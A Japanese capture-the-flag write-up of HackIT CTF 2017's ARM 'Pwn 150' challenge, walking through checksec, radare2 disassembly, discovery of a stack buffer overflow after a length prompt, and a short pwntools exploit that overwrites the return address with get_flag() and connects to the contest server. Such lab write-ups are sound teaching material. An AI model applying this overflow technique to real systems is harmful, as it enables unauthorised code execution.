HackIT CTF 2017 [Pwn 150] Today’s moon phase

観察

まずは file でどんなバイナリか確認します。

»»»» file pwn150                                                                                                    pwn150: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=5a8f4e74e4fd679377d86ea567c6da3701b1bd4a, not stripped

ARMアーキテクチャのバイナリのようです。これを実行する場合はubuntuでは qemu-user-static をインストールすることで実行できます。このパッケージは様々なアーキテクチャに対応しているので他のアーキテクチャのバイナリもこれひとつで実行できるはずです。

次にバイナリのセキュリティ機構について確認します。

 »»»» gdb -q pwn150                                                                                                                          0|00:31:26
Reading symbols from pwn150...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXBitがついているようです。この時点で dynamically linked の場合はシェルコードを流す解法でないことが分かります。 今回のバイナリの場合、 statically linked のため、もしかしたら _dl_make_stack_executable()mmap() を使うことで、シェルコードが利用できる可能性もあります。とりあえずこのことは頭の片隅に置いて、次にディスアセンブリしてみましょう。(もちろん、 dynamically linked でも上記の関数は使えますが、それらを使わずに system()one gadget RCE を使うほうが楽なことが多いです。)

ディスアセンブリには radare2 を使います。 r2 -w -a arm pwn150 のように -a オプションでアーキテクチャを指定してディスアセンブリ出来ます。 -w はバイナリに書き込み可能にするためのオプションです。 -w オプションを使うと、開いている間はバイナリの実行ができなくなるので、コピーしたものを解析するのがおすすめです。

statically linked のため関数が多かったためいきなり、 sym.main を見ることにしました。 VV コマンドでグラフ表示してみていくと、 sym.get_flag という関数があるようです。この問題のExploitではこの関数の呼び出しを目標にして、脆弱性を探します。

続いて、動的解析に入ります。結論から言うと、 What is your name? の直後の入力には脆弱性がありませんが、 そのあと選択肢を答えていった後の Please, enter length of your message: の直後の入力で Buffer Over Flow を起こせるようです。

BoFを利用するため、オフセットを調べたいところですが残念ながらこの時はデバッガーの使い方を知りませんでした。そのため一文字ずつ送る文字を増やしていき、SEGVの起こる位置を調べてオフセットを確認しました。

(その後に分かったことですが、 qemu-arm-static -g {port} {exec_file} でgdbserverを立てることが可能です。また qemu-arm-static -strace {exec_file} でstraceと同様の効果が得られます。)

オフセットを調べることが出来たので後はreturn先のアドレスに get_flag() 関数を仕込めばExploitの完成です。

Exploit

とくにBoFの起こし方は x86/x86_64 アーキテクチャなどと変わらないため、オフセット分を埋めて get_flag() のアドレスを仕込みます。また入力には長さを求められますが、そこは -1 などにしておけば問題ないです。

最終的なExploitコードは次のようになりました。

from pwn import *

HOST = "165.227.98.55"
PORT = 2222
#conn = process(['strace', 'qemu-arm-static', './pwn150'])
conn = remote(HOST, PORT)
conn.sendlineafter('What is your name?', 'A')
conn.sendlineafter('Enter Y or N:', 'Y')
conn.sendlineafter('Please, enter length of your message:', '-1')
payload = 'A' * 532
payload += p32(0x104d8)
log.success("get_flag()")
conn.sendline(payload)
conn.stream()
conn.close()

Flag h4ck1t{Astronomy_is_fun}

この問題はARMでしたが、実行環境が整えば x86/x86_64 と何ら変わらないやり方でいける問題でした。